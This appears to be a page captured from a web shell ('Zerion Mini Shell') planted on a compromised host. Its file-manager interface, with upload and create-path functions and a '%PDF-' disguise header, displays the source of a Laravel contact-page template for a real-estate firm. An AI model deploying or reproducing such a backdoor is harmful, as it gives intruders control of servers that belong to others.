%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/3vfm3/resources/views/
Upload File :
Create Path :
Current File : /home/ugotscom/3vfm3/resources/views/contactus.blade.php

<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">

  <title>VFM</title>

  <!-- Custom fonts for this template-->
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
  <!-- Custom styles for this template-->


<link rel="stylesheet" href="/css/style.css">
<link href="assets/css/style.css" rel="stylesheet">
<link href="assets/lib/bootstrap/css/bootstrap.min.css" rel="stylesheet">

<!-- Libraries CSS Files -->
<link href="assets/lib/font-awesome/css/font-awesome.min.css" rel="stylesheet">
<link href="assets/lib/animate/animate.min.css" rel="stylesheet">
<link href="assets/lib/ionicons/css/ionicons.min.css" rel="stylesheet">
<link href="assets/lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
<link href="assets/lib/lightbox/css/lightbox.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/fontawesome.min.css" integrity="sha512-OdEXQYCOldjqUEsuMKsZRj93Ht23QRlhIb8E/X0sbwZhme8eUw6g8q7AdxGJKakcBbv7+/PX0Gc2btf7Ru8cZA==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-- Main Stylesheet File -->
<style>
* { box-sizing: border-box; }
.full{
width: 100%;

margin-right: auto;
margin-left: auto;

}
.owl-prev .owl-next{
  display:none;
}

.wrapper {
  max-width: 60rem;
  width: 100%;
  margin: 150px auto;
}

.tabs {
  position: relative;
  margin: 3rem 0;
  background: #fff;
  height: 9.75rem;;
opacity: 0.9;
}

.tabs::before,
.tabs::after {
  content: "";
  display: table;
}

.tabs::after { clear: both; }

.tab { float: left; }

.tab-switch { display: none; }

.tab-label {
  position: relative;
  display: block;
  line-height: 2.75em;
  height: 3em;
  padding: 0 1.618em;
  background: #fff;
  border-right: 0.125rem solid #eaeeee;
  color: #000;
  cursor: pointer;
  top: 0;
  transition: all 0.25s;
}

.tab-label:hover {
  top: -0.25rem;
  transition: all 0.25s;
}

.tab-content {
  padding: 1.618rem;
  background: #fff;
  color: #2c3e50;
  height: 7rem;
  position: absolute;
  z-index: 1;
  top: 2.75em;
  left: 0;
  opacity: 0;
  transition: all 0.35s;
  border-top: 1px solid #eaeeee;
}

.tab-switch:checked + .tab-label {
  background: #ffc30f;
  color: #2c3e50;
  border-bottom: 0;
  border-right: 0.0625rem solid #fff;
  transition: all 0.35s;
  z-index: 2;
  top: -0.0625rem;
}

.tab-switch:checked + .tab-label:hover { top: -0.0625rem; }

.tab-switch:checked + .tab-label + .tab-content {
  opacity: 1;
  transition: all 0.35s;
  z-index: 3;
}
.soverlay{
padding: 10px;
font-family: Arial;
z-index: 990;
margin: auto;
width: 80%;
position: absolute;
top: 4%;
bottom: 0;
left: 0;
right: 0;
margin: auto;
}
.form-inline label{
justify-content: left;
}
.input_wrapper {

    padding-right: 20px;

}
.input_wrapper label{
  color: #000;
font-weight: 800;
display: block;
font-size: 14px;
font-family: Rubik,sans-serif;
}
.form-inline button{
min-width: 110px;
height: 40px;
padding: 0 15px;
background:#ffc30f;;
white-space: nowrap;
border-radius: 3px;
font-size: 16px;
color:#000;
transition: all .2s ease-out, color .2s ease-out;
border: 0;
cursor: pointer;
font-weight: 400;
font-family: 'Poppins', sans-serif;
margin-left: 10px;
}
.input_wrapper input{
border:0;
outline: 0;
border-bottom: 1px solid #e0e0e1;
width: 157px;
}
.slantedDivA{
      position: relative;
      width: 100%;
      height: auto;
      background: rgba(40, 40, 40, 1);
      box-sizing: border-box;
      padding: 30px;
      color: #fff;
      margin-bottom: 200px;
    }

    .slantedDivA:after{
      position: absolute;
      width: 100%;
      height: 100%;
      content: '';
      background: inherit;
      z-index: -1;
      top: 0;
      right: 0;
      bottom: 0;
      left: 0;
      transform-origin: top left;
      transform: skewY(4deg);
    }
    .carousel-indicators{
      display:none;
    }
    .ui-widget.ui-widget-content {
    border: 1px solid #d3d3d3;
    z-index: 9999;
}
#owl-one h4{
  font-size:15px;
  font-weight: bold;
  padding-top: 10px;
}

.vertical-menu {
    width: 60px;
    position: fixed;
    z-index: 5;
    right: 0;
    margin-top: 15%;
}
.vertical-menu a {
   
    display: block;
    padding-top: 8px;
    padding-bottom: 8px;
    text-decoration: none;
    text-align: center;
    font-size: 12px;
}
.call{
  background-color: #f9c11e;
    color: #fff; 
}

    .scroll-top{
        position: fixed;
        bottom: 10px;
        right: 10px;
        z-index: 99;
        background: red;
        color: #fff;
        border-radius: 30px;
        padding: 15px;
        font-weight: bold;
        line-height: normal;
        border: none;
    }
    .actived{

      display:none;
    }
    .facebook {
  background: #3B5998;
  color: white;
}

.youtube {
  background: #bb0000;
  color: white;
}
.instagram{
   background: linear-gradient(45deg,#405DE6,#5851DB,#833AB4,#C13584,#E1306C,#Fd1d1d);
   color:#fff;
}
.banner{
position:relative;
width:100%;
height:100vh;
background:url('assets/img/bg.jpg');
background-size:cover;
background-position:bottom;
display:flex;
justify-content:center;
align-items:center;
}

.banner #text{
position:relative;
font-size:12em;
color:#fff;
}

.banner .clouds {
position:absolute;
top:0;
left:0;
width:100%;
height:100%;
overflow:hidden;
pointer-events:none;
}

.banner .clouds img{

position:absolute;
bottom:0;
max-width:100%;
animation: animate calc(3s * var(--i)) linear infinite;
}

@keyframes animate
{
  0%
  {
    opacity:0;
    transform:scale(1);
  } 
  25%,75%
  {
   opacity:1;
  }
  100%
  {
opacity:0;
  transform:scale(3);
  }
}
.container-fluid-masonry {
    width: 100%;
    margin-right: auto;
    margin-left: auto;
}
.m-image{
  padding-top: 10px;
}
.container-fluid-masonry img {
  width: 100%;
  height: auto;
  transition: all .2s ease-in-out;
}
.container-fluid-masonry img:hover {
transform: scale(0.97);
}
.container-fluid-masonry .col-md-4 {
 padding-right: 0px;
}
.destinations{
  padding-top: 8%;
  padding-bottom: 8%;
  text-align: center;
}
.destinations h2{
 text-align: center;
font-weight: 800;
font-size: 2em;
color: #013147;
}
.check_box input[type="checkbox"] 
{ 
    margin-right: 50px; 
}
#yourdiv{
  padding-top: 2%;
}
#yourdiv2{
  padding-top: 2%;
}
.check_box{
  font-size: 16px;
}
.destinations input {
    margin: 5px;
}
#header {
    padding: 0px 0;
    height: 92px;
    position: relative;
    left: 0;
    top: 0;
    right: 0;
    transition: all 0.5s;
    z-index: 997;
   color:#fff;
}
.nav-menu a {
    padding: 0 8px 10px 8px;
    text-decoration: none;
    display: inline-block;
    color: #000;
    font-family: "Montserrat", sans-serif;
    font-weight: 700;
    font-size: 13px;
    text-transform: uppercase;
    outline: none;
}
</style>
</head>
<body id="page-top">
<section id="topbar" class="d-flex align-items-center">
    <div class="container d-flex justify-content-center justify-content-md-between">
      <div class="contact-info d-flex align-items-center">
       <!-- <i class="bi bi-envelope d-flex align-items-center"><a href="mailto:contact@example.com"></a></i>-->
        <i class="bi bi-phone d-flex align-items-center ms-4"><span>+91 9961663000 </span></i>
      </div>
      <div class="social-links d-none d-md-flex align-items-center">
      <!--  <a href="#" class="twitter"><i class="bi bi-twitter"></i></a> -->
        <a href="https://www.facebook.com/vfmassets" class="facebook"><i class="bi bi-facebook"></i></a>
        <a href="https://www.instagram.com/vfmassets/" class="instagram"><i class="bi bi-instagram"></i></a>
        <a href="https://www.linkedin.com/company/vfmassets/" class="linkedin"><i class="bi bi-linkedin"></i></i></a>
      </div>
    </div>
  </section>
<header id="header" class="d-flex align-items-center">
    <div class="container d-flex align-items-center justify-content-between">

   <!--   <h1 class="logo"><a href="index.php">Disposeat<span>.</span></a></h1> -->
      <!-- Uncomment below if you prefer to use an image logo -->
       <a href="index.html" class="logo img-fluid"><img src="assets/img/logo.png" alt=""></a>

       <nav id="navbar" class="navbar">
        <ul>
          <li><a class="nav-link scrollto active" href="index.php">Home</a></li>
          <li><a class="nav-link scrollto" href="aboutus">About Us</a></li>
         
          <li class="nav-item dropdown">
      <a class="nav-link dropdown-toggle" data-bs-toggle="dropdown" href="#" role="button" aria-expanded="false">Services</a>
      <ul class="dropdown-menu">
        <li><a class="dropdown-item" href="find-space">Find Space</a></li>
        <li><a class="dropdown-item" href="design">Design & Deliver Projects</a></li>
        <li><a class="dropdown-item" href="property-portfolio">Property Management Portfolio</a></li>
        <li><a class="dropdown-item" href="invest">Invest In Real Estate</a></li>
        <li><a class="dropdown-item" href="Our-projects">Recent Projects</a></li>
      </ul>
    </li>
          <li><a class="nav-link scrollto" href="#footer">Downloads</a></li>
          <li><a class="nav-link scrollto" href="contactus">Contact Us</a></li>
        </ul>
        <i class="bi bi-list mobile-nav-toggle"></i>
      </nav><!-- .navbar -->

    </div>
    
  </header><!-- End Header -->



<div class="" id="app">

   

<contactus></contactus>

    
<footer id="footer">
<div class="container">
      <div class="row">
        <div class="col">
        <h2>About Us</h2>
          <ul>
            <li>Flight Booking</li>
            <li>Hotel Booking</li>
            <li>Holiday Booking</li>
            <li>Bus Booking</li>
            <li>Visa Booking</li>
          </ul>
        </div>
        <div class="col">
        <h2>International Tours</h2>
          <ul>
          <li>Dubai tour packages</li>
          <li>Malaysia tour package</li>
          <li>Singapore tour package</li>
          <li>Thailand tour packages</li>
          <li>Bali packages</li>
          <li>Srilanka tour package</li>
          <li>Europe tour packages</li>
          <li>Mauritius packages</li>
          <li>Maldives packages</li>
          </ul>
        </div>
        <div class="col">
        <h2>Domestic Tours</h2>
          <ul>
          <li>Kerala tour packages</li>
          <li>Goa tour package</li>
          <li>Kashmir tour package</li>
          <li>Leh tour packages</li>
          <li>Shimla packages</li>      
          </ul>
        </div>
        <div class="col">
        <h2>Visa</h2>
          <ul>
          <li>Dubai Visa</li>
          <li>Singapore Visa</li>
          <li>Malaysia Visa</li>
          <li>Thailand Visa</li>
          <li>Sri Lanka Visa</li>
          <li>Schengen Visa</li>
          <li>US Visa</li>
          <li>UK Visa</li>
          <li>China Visa</li>
          <li>Australia Visa</li>
          </ul>
        </div>
 
      </div>
</div>  
 </footer>
 </div><!--end div -->


  <!-- Bootstrap core JavaScript-->
  <script src="{{asset('js/app.js')}}"></script>


</body>

</html>

Zerion Mini Shell 1.0